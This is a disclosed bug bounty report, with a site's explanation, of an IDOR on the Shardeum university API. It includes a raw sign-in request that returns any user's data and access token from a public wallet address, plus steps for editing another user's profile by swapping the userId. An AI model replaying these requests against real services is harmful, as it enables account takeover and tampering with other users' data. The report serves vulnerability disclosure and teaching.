IDOR Able to change other user information
An IDOR on the Shardeum university API let any user change another user's profile details by supplying the victim's user ID. An attacker could also obtain that ID and a valid access token by submitting a public wallet address to the sign-in endpoint.
Originally disclosed on Immunefi
- Disclosed after under an hour
#35446 [W&A-Insight] IDOR Able to change other user information
Submitted on Sep 22nd 2024 at 21:46:11 UTC by @blocksmith0 for Audit Comp | Shardeum: Ancillaries II
- Report ID: #35446
- Report Type: Websites and Applications
- Report severity: Insight
- Target: https://immunefi.com
- Impacts:
- Taking state-modifying authenticated actions (with or without blockchain state interaction) on behalf of other users without any interaction by that user, such as: Changing registration information, Commenting, Voting, Making trades, Withdrawals, etc.
Description
Vulnerability Details
Found an IDOR on `api.university.shardeum.org` the IDOR enables any user to change any user informations like name, email address, social media links, project links, description and other information.
To change other user information we need to get that user `userId` we can do this by just knowing the user wallet address which is public we can go to the explorer and get wallet addresses of some users and use that wallet address in the following HTTP request to get all the account information of that user that we want to change his/her information this is also an issue of it's own.
Using following HTTP request just change the `walletAddress` to the victim address to get all the account information of the victim.
Request:
``` POST /api/auth/signin HTTP/1.1 Host: api.university.shardeum.org Connection: close Content-Length: 62 sec-ch-ua: "Not A(Brand";v="99", "Google Chrome";v="121", "Chromium";v="121" Accept: application/json, text/plain, / Content-Type: application/json sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 sec-ch-ua-platform: "Linux" Origin: https://165.232.189.24 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://165.232.189.24/ Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
{"walletAddress":"0x17daeE6958a71F4854d6359E88013663F439B499"} ```
Response:
``` HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Sun, 22 Sep 2024 21:12:11 GMT Content-Type: application/json; charset=utf-8 Content-Length: 678 Connection: close X-Powered-By: Express Access-Control-Allow-Origin: * Access-Control-Allow-Headers: x-access-token, Origin, Content-Type, Accept ETag: W/"2a6-XOQaNiWzJEGieswHDtMx43nPjIg" Vary: Accept-Encoding
{"type":"not-verified","_id":"66f08643f519db4c16f3ad23","username":"victim","walletAddress":"0x17daeE6958a71F4854d6359E88013663F439B499","email":"[email protected]","isVerified":false,"isBlocked":false,"displayName":"default","portfolio":"https://sample.com/link","shardId":"areer333","designation":"developer","roles":\\[{"\\_id":"6564d2c72c178bc331526b9e","name":"user"}],"projects":\\[],"enrolledCourses":\\[],"createdAt":"2024-09-22T21:04:03.306Z","updatedAt":"2024-09-22T21:08:15.099Z","\\_\\_v":1,"accessToken":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjY2ZjA4NjQzZjUxOWRiNGMxNmYzYWQyMyIsImlhdCI6MTcyNzAzOTUzMSwiZXhwIjoxNzI3MTI1OTMxfQ.S\\_aGvf\\_YjFIsp8OPmvuODwZfrf-h3XvwriEhyIeKKX8"} ```
Now copy `_id` this is the victim `userId`.
Proof of Concept
Proof of Concept
- First login to your account and go to `university.shardeum.org/profile/edit`
- Change name and click `Save Changes`
- Intercept the request using burp proxy and send it to repeater
- Now change the `userId` to victim `userId` that we get from the previous step and click on `Go`
- Now the victim information has been changed login to victim account and check that the information has been changed.
This zero click IDOR meaning zero interaction is required.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the profile update endpoint trusted a client-supplied user ID without checking it matched the authenticated session, and the sign-in endpoint returned full account data and a token for any wallet address.
Impact
An attacker could change another user's registration information without any interaction from that user, and could also obtain that user's account details and access token.
What the attacker needed
A free account; victim's public wallet address; no victim interaction
How it was found
- Log in and open the profile edit page.
- Change the name and save the changes.
- Intercept the save request with a proxy and send it to the repeater.
- Replace the user ID with the victim's user ID and send the request.
- Log in as the victim and confirm the profile details were changed.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
An IDOR (Insecure Direct Object Reference) happens when a website lets you act on someone else's record just by changing an identifier in a request. Here the profile update request used a user ID, and the server did not check that the ID belonged to the logged-in person. The sign-in endpoint also returned another user's details and a login token when given their public wallet address.
What is IDOR?
One user can read or change another user's data, usually by changing an identifier the server trusts without checking who is asking. One of the most paid bug classes on web programs.